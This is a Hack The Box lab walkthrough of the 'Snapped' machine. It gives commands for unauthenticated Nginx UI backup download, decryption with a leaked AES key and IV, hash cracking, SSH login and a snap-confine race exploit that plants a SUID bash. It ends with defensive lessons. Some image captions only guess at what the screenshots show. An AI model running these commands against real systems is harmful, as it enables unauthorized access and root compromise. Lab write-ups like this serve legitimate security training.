Hack The Box Snapped Walkthrough: Nginx UI Backup Exposure, AES Decryption, and snap-confine Privilege Escalation

This is a classic information disclosure-driven attack chain: the target exposed an encrypted backup through an unauthorized Nginx UI backup endpoint, then leaked the AES key and IV in response headers, allowing recovery of configuration data, the database, and user hashes. The attacker then chained this with a snap-confine local privilege escalation to obtain root. The core failures were an unauthorized endpoint, exposed key material, and a broken sandbox boundary. Keywords: Nginx UI, AES-CBC, snap-confine.

Technical specifications are clear at a glance

Parameter Value
Target Type HackTheBox / Linux
Operating System Ubuntu 24.04.4 LTS
Web Service nginx 1.24.0
SSH Service OpenSSH 9.6p1
Key Components Nginx UI 2.3.2, snapd 2.63.1+24.04
Key Protocols HTTP, SSH
Key Dependencies SQLite, OpenSSL, hashcat, ffuf, feroxbuster
Upstream Project Stars The star count of the nginx-ui repository changes over time; check the live GitHub page for the latest number

The key conclusion of this exploit chain is straightforward

The main breakthrough in Snapped is not a traditional RCE. It is a design flaw in the administrative backup feature. The attacker first discovered admin.snapped.htb through virtual host enumeration, identified Nginx UI 2.3.2, and then accessed /api/backup without authentication to retrieve a backup file.

The fatal issue is that although the backup used AES-CBC encryption, the response header X-Backup-Security leaked both the key and IV at the same time. In practice, that means the encryption existed without providing any security. This allowed the attacker to recover configuration files, the SQLite database, and user bcrypt hashes.

Initial reconnaissance identifies the entry point first

The target exposed only ports 22 and 80, and both the TTL and service fingerprints pointed to Ubuntu. After visiting port 80, the service redirected requests to snapped.htb, which showed that the site depended on Host-based routing. Local name resolution had to be added before further enumeration would work.

rustscan -a 10.129.45.91 -r 1-65535 -- -sV -Pn -n -O
curl -v http://10.129.45.91
echo "10.129.45.91 snapped.htb" | sudo tee -a /etc/hosts  # Add a local hostname mapping

This step confirms the attack surface and makes later virtual host and application enumeration possible.

file-20260428204044956 AI Visual Insight: This screenshot shows the Snapped machine card and target overview, typically including the target name, difficulty, platform, and lab entry details. It helps confirm that this is a Linux challenge centered on network services and a web administration surface.

Virtual host enumeration reveals the real administration surface

The primary domain exposed only a static page, but the response headers already suggested a virtual host deployment model. By fuzzing the Host header, you can discover admin.snapped.htb, which hosts all of the high-value endpoints used later in the chain.

ffuf -u http://10.129.45.91 \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H "Host: FUZZ.snapped.htb" -c -ac

# After discovering the admin subdomain, update hosts
# 10.129.45.91 snapped.htb admin.snapped.htb

The value of this step is that it turns a normal-looking website into an exposed administrative application, immediately expanding the attack surface.

file-20260429150946709 AI Visual Insight: This screenshot shows that the main site returns a normal page only after correct Host resolution, indicating that Nginx is routing traffic based on server_name. This behavior usually signals that virtual host enumeration matters more than simple directory brute-forcing.

file-20260429153506709 AI Visual Insight: This image shows the login page for the admin.snapped.htb management interface. The structure looks like a decoupled frontend and backend application, which usually means separate APIs, static JavaScript assets, and version disclosure opportunities that can reveal backend behavior.

Nginx UI version identification narrows the vulnerability space immediately

You can extract the version file from the homepage JavaScript assets and confirm that the application is Nginx UI 2.3.2. This information alone does not guarantee an exploitable issue, but it provides a precise anchor for comparing endpoint behavior, searching public disclosures, and analyzing the backup format.

curl -s http://admin.snapped.htb/ | grep -P '\.js\b'
curl -s http://admin.snapped.htb/assets/index-DoHxQupa.js | grep -oP 'version[-\w]*\.js'
curl -s http://admin.snapped.htb/assets/version-BWPlJ0ga.js  # Extract version 2.3.2

This step transforms the target from a black-box application into a known product with a verifiable version.

API enumeration exposes the most dangerous unauthorized endpoint

After expanding enumeration under /api, the most important findings were not the many 403 responses, but the few 200 responses: /api/install, /api/licenses, and /api/backup. Among them, backup returned a binary file, which indicated that the endpoint could export a server-side backup directly.

feroxbuster -u http://admin.snapped.htb/api \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

curl -o backup.zip http://admin.snapped.htb/api/backup  # Download backup without authentication
file backup.zip

This step confirms the critical fact that the administrative backend allows full backup export without authentication.

file-20260429163607823 AI Visual Insight: This screenshot shows multiple API paths in Burp Suite’s Site Map, indicating that the frontend login page sits on top of an enumerable set of REST endpoints. In SPA-style admin consoles, these APIs often reveal access control flaws more clearly than the visible pages do.

Backup encryption collapses completely because the response headers leak the secret material

After downloading the ZIP file and extracting it, the internal file names appeared to reference compressed content, but the data did not match standard magic bytes. A closer look at the HTTP response headers revealed X-Backup-Security, which exposed the AES key and IV in Base64 form. Those are exactly the parameters required for decryption.

curl -v -o backup.zip http://admin.snapped.htb/api/backup
# Extract the Key and IV from the response headers, then convert them to hexadecimal
echo 'qjhNvNsceSTvrkFKiTyshBYSmAXPOtXuOQTKjdZkcIA=' | base64 -d | xxd -p -c 0
echo 'itB8QRRo9Q1+RRX+E6xByw==' | base64 -d | xxd -p -c 0

openssl enc -aes-256-cbc -d -in hash_info.txt -out hash_info_dec.txt \
  -K aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080 \
  -iv 8ad07c411468f50d7e4515fe13ac41cb  # Decrypt using the leaked parameters

This proves that the issue is not weak encryption. It is total failure of key management.

file-20260429181743141 AI Visual Insight: This image shows the results of vulnerability research based on the version number and the keyword backup. It reflects how an attacker can connect unusual endpoint behavior with a known product version to quickly identify public research or CVE leads.

file-20260429182221246 AI Visual Insight: This screenshot likely shows a vulnerability write-up or reproduction guide. The focus is usually on backup download behavior, the encryption-related response header, and the decryption process, helping confirm that this is a product-level implementation flaw rather than an environmental edge case.

The decrypted configuration and database provide complete lateral intelligence

Decryption revealed app.ini and database.db. The former showed that Nginx UI was running on 127.0.0.1:9000 and exposed sensitive settings such as the JWT secret and crypto secret. The latter contained the users table, from which bcrypt hashes could be extracted directly.

sqlite3 database.db
SELECT * FROM users;  -- Extract the bcrypt hashes for admin and jonathan

hashcat hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -m 3200
# Crack result: jonathan:linkinpark

This step completes the transition from information disclosure to effective account compromise.

After SSH access, the machine name itself points to the privilege escalation path

Using jonathan‘s credentials, you can log in over SSH directly. At this stage, a standard sudo -l check produces no result, but the system contains an SUID snap-confine binary, and the machine name is Snapped. That is a strong hint to investigate local privilege escalation paths in the Snap ecosystem.

ssh [email protected]
find / -type f -perm -04000 -ls 2>/dev/null | grep snap-confine  # Filter for SUID targets
snap version
systemctl is-active systemd-tmpfiles-clean.timer

The significance of this step is that it shifts the attack path from the web layer to local privilege escalation on the host.

file-20260429211316599 AI Visual Insight: This screenshot shows successful login as a standard user and access to user-side flag or home directory content, demonstrating that the credentials obtained from the web application have already become a stable shell on the target host.

The interaction flaw between snap-confine and systemd-tmpfiles completes the final privilege escalation

The local privilege escalation works because systemd-tmpfiles periodically cleans /tmp/.snap, while snap-confine depends on that directory to construct a mimic. If an attacker recreates a controlled .snap directory after the cleanup window, they may poison the mount namespace and write a malicious dynamic linker into the fallback path.

cat /usr/lib/tmpfiles.d/tmp.conf  # Inspect the /tmp cleanup interval
# D /tmp 1777 root root 4m

./exploit librootshell.so  # Do not type ./librootshell.so; that causes a path concatenation error

At its core, this step exploits directory ownership changes and namespace reconstruction timing to hijack a dynamic linker loaded by a root process.

file-20260429212523802 AI Visual Insight: This image shows vulnerability research results centered on the keyword snap-confine, indicating that the privilege escalation stage was not blind enumeration. Instead, it combined the SUID binary, platform version, and component ecosystem to identify a highly relevant local privilege escalation issue quickly.

file-20260430150512241 AI Visual Insight: This screenshot likely shows an official NVD or vulnerability database entry. The core technical details usually include affected versions, required privileges, component interaction conditions, and impact scope, all of which are important when validating exploit preconditions.

The end result is a host-accessible SUID bash binary

The key idea in the PoC is not to spawn a root shell directly. Instead, it copies /bin/bash as root inside the sandbox into a host-visible path such as /var/snap/firefox/common/bash, then sets the SUID bit. After the namespace exits, that file remains on the host filesystem.

scp exploit [email protected]:/tmp/
scp librootshell.so [email protected]:/tmp/
cd /tmp && ./exploit librootshell.so  # Trigger the race and plant the payload
/var/snap/firefox/common/bash -p      # Get a root shell in preserved-privilege mode

This step turns temporary root access inside a namespace into a persistent and reusable host-level root entry point.

file-20260430153735934 AI Visual Insight: This image shows the environment requirement checklist before using the PoC. It typically includes the Ubuntu version, installed Snap applications, scheduled cleaner state, and required dependencies, showing that the exploit is sensitive to system composition.

file-20260429213230575 AI Visual Insight: This screenshot likely shows build instructions or Makefile targets for the PoC project, indicating that the exploit code consists of both a main exploit and a shared library payload, which respectively handle the race flow and dynamic linker hijacking.

file-20260429213630737 AI Visual Insight: This image shows how the exploit command is executed, with emphasis on the payload argument format. Details like this directly determine whether the exploit can correctly locate and overwrite the target file during later stages.

file-20260429213803090 AI Visual Insight: This screenshot reflects a path-handling issue in the exploit logs, showing that the PoC is sensitive to relative prefixes such as ./ when concatenating the payload path. Small implementation differences like this are often the real reason reproductions fail.

file-20260430164617194 AI Visual Insight: This screenshot shows the final root compromise and retrieval of the root-side flag, confirming that the full chain progressed from an unauthorized endpoint and credential recovery to SSH access and, ultimately, host-level administrative control.

This chain offers direct defensive lessons

First, backup endpoints must enforce authentication, and download privileges should be restricted to the minimum required role. Second, encrypted artifacts must never expose key material in the same response. Third, internal administration panels should not rely on reverse proxy obscurity alone; they need independent access control and auditing.

Fourth, defenders should continuously monitor high-risk SUID components and vulnerabilities in the Snap ecosystem. Fifth, /tmp cleanup policies, namespace components, and file ownership changes should all be included in anomaly detection. Otherwise, this kind of cross-component privilege escalation is extremely difficult to catch with isolated point controls.

FAQ: The three questions developers care about most

1. Why is the /api/backup issue more serious than ordinary information disclosure?

Because it does not expose a single file. It exports a high-value aggregate of configuration data, the database, and site structure. Combined with the leaked AES key and IV in the response headers, the attacker effectively receives the sensitive assets in plaintext.

2. Why could the attacker get into the system so quickly after obtaining bcrypt hashes?

bcrypt is resistant to cracking only when the underlying password is strong enough. In this case, the standard user password was weak and could be recovered quickly with a dictionary attack, turning a leaked hash into valid SSH credentials.

3. What is the root cause of the snap-confine privilege escalation?

The root cause is not a single binary crossing privilege boundaries by itself. It is the dangerous interaction between snap-confine trusting /tmp/.snap and systemd-tmpfiles periodically cleaning that directory. Once the attacker takes control of the directory after cleanup, they can influence the namespace content built by root.

Core summary: This article reconstructs the full exploit chain for the Snapped machine, starting with the port 80 redirect, virtual host enumeration, and identification of Nginx UI 2.3.2. It then shows how an unauthorized /api/backup endpoint exposed a backup that could be decrypted using the AES key and IV leaked in the response headers, leading to recovery of configuration data and the SQLite database. After cracking jonathan‘s credentials and logging in over SSH, the attacker completed local privilege escalation by exploiting the interaction flaw between snap-confine and systemd-tmpfiles.